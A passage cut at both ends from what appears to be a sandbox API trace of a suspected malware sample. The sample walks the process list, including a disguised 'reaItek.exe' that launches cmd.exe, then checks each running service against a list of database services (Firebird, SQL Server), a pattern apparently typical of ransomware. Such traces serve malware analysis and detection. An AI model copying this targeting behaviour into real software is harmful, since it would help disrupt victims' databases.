szExeFile="memberromanialiberia.exe")) returned 1 [0110.928] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0110.928] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0110.929] lstrlenW (lpString="blademcdonald.exe") returned 17 [0110.929] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0110.929] lstrlenW (lpString="courage.exe") returned 11 [0110.929] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0110.930] lstrlenW (lpString="pearl.exe") returned 9 [0110.930] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0110.931] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0110.931] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0110.931] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0110.932] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0110.932] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0110.932] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0110.933] lstrlenW (lpString="dome.exe") returned 8 [0110.933] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0110.934] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0110.934] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0110.935] lstrlenW (lpString="paying.exe") returned 10 [0110.935] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0110.935] lstrlenW (lpString="emission.exe") returned 12 [0110.935] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0110.936] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0110.936] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0110.937] lstrlenW (lpString="charter.exe") returned 11 [0110.937] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0110.985] lstrlenW (lpString="nickel.exe") returned 10 [0110.985] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0110.986] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0110.986] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0110.987] lstrlenW (lpString="wrist.exe") returned 9 [0110.987] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0110.988] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0110.988] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0110.989] lstrlenW (lpString="neck.exe") returned 8 [0110.989] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0110.990] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0110.990] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.991] lstrlenW (lpString="dllhost.exe") returned 11 [0110.991] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.991] lstrlenW (lpString="taskhostw.exe") returned 13 [0110.991] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.992] lstrlenW (lpString="svchost.exe") returned 11 [0110.992] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0110.993] lstrlenW (lpString="reaItek.exe") returned 11 [0110.993] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.994] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0110.994] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0110.995] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0110.995] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.021] lstrlenW (lpString="conhost.exe") returned 11 [0111.021] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0111.022] lstrlenW (lpString="cmd.exe") returned 7 [0111.022] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.023] lstrlenW (lpString="conhost.exe") returned 11 [0111.023] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.024] lstrlenW (lpString="sppsvc.exe") returned 10 [0111.024] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0111.024] lstrlenW (lpString="mode.com") returned 8 [0111.024] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0111.025] CloseHandle (hObject=0x36c) returned 1 [0111.025] Sleep (dwMilliseconds=0x1f4) [0111.637] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fee80 [0111.638] EnumServicesStatusExW (in: hSCManager=0x5fee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0111.639] GetLastError () returned 0xea [0111.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0111.639] EnumServicesStatusExW (in: hSCManager=0x5fee80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0111.641] CloseServiceHandle (hSCObject=0x5fee80) returned 1 [0111.641] lstrlenW (lpString="Appinfo") returned 7 [0111.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0111.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0111.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0111.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0111.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0111.642] lstrlenW (lpString="AppXSvc") returned 7 [0111.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0111.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0111.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0111.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0111.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0111.642] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0111.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0111.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0111.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0111.642] lstrlenW (lpString="Audiosrv") returned 8 [0111.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0111.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0111.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0111.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0111.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0111.642] lstrlenW (lpString="BFE") returned 3 [0111.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0111.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0111.643] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0111.643] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0111.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0111.643] lstrlenW (lpString="BITS") returned 4 [0111.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0111.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0111.643] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0111.643] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0111.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0111.643] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0111.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0111.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0111.643] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0111.643] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0111.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0111.643] lstrlenW (lpString="CDPSvc") returned 6 [0111.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0111.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0111.643] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0111.643] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0111.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0111.643] lstrlenW (lpString="ClickToRunSvc") returned 13 [0111.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0111.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0111.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0111.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0111.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0111.644] lstrlenW (lpString="ClipSVC") returned 7 [0111.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0111.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0111.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0111.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0111.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0111.644] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0111.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0111.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0111.644] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0111.645] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0111.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0111.645] lstrlenW (lpString="CryptSvc") returned 8 [0111.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0111.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0111.645] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0111.645] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0111.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0111.645] lstrlenW (lpString="DcomLaunch") returned 10 [0111.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.645] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0111.645] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0111.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0111.645] lstrlenW (lpString="DeviceAssociationService") returned 24 [0111.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0111.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0111.645] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0111.645] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0111.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0111.645] lstrlenW (lpString="Dhcp") returned 4 [0111.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0111.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0111.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0111.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0111.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0111.646] lstrlenW (lpString="Dnscache") returned 8 [0111.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0111.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0111.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0111.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0111.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0111.646] lstrlenW (lpString="DoSvc") returned 5 [0111.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0111.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0111.646] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0111.646] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0111.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0111.647] lstrlenW (lpString="DPS") returned 3 [0111.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0111.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0111.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0111.647] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0111.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0111.647] lstrlenW (lpString="DusmSvc") returned 7 [0111.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0111.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0111.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0111.647] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0111.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0111.647] lstrlenW (lpString="EventLog") returned 8 [0111.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0111.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0111.647] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0111.647] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0111.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0111.647] lstrlenW (lpString="EventSystem") returned 11 [0111.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0111.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0111.648] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0111.648] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0111.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0111.648] lstrlenW (lpString="FontCache") returned 9 [0111.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0111.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0111.648] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0111.648] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0111.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0111.648] lstrlenW (lpString="gpsvc") returned 5 [0111.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0111.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0111.648] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0111.648] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0111.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0111.648] lstrlenW (lpString="iphlpsvc") returned 8 [0111.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.650] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0111.650] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0111.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0111.650] lstrlenW (lpString="KeyIso") returned 6 [0111.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0111.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0111.650] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0111.650] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0111.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0111.650] lstrlenW (lpString="LanmanServer") returned 12 [0111.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0111.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0111.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0111.650] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0111.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0111.650] lstrlenW (lpString="LanmanWorkstation") returned 17 [0111.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.650] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0111.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0111.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0111.651] lstrlenW (lpString="lfsvc") returned 5 [0111.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0111.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0111.651] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0111.651] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0111.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0111.651] lstrlenW (lpString="LicenseManager") returned 14 [0111.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0111.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0111.651] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0111.651] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0111.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0111.653] lstrlenW (lpString="lmhosts") returned 7 [0111.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0111.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 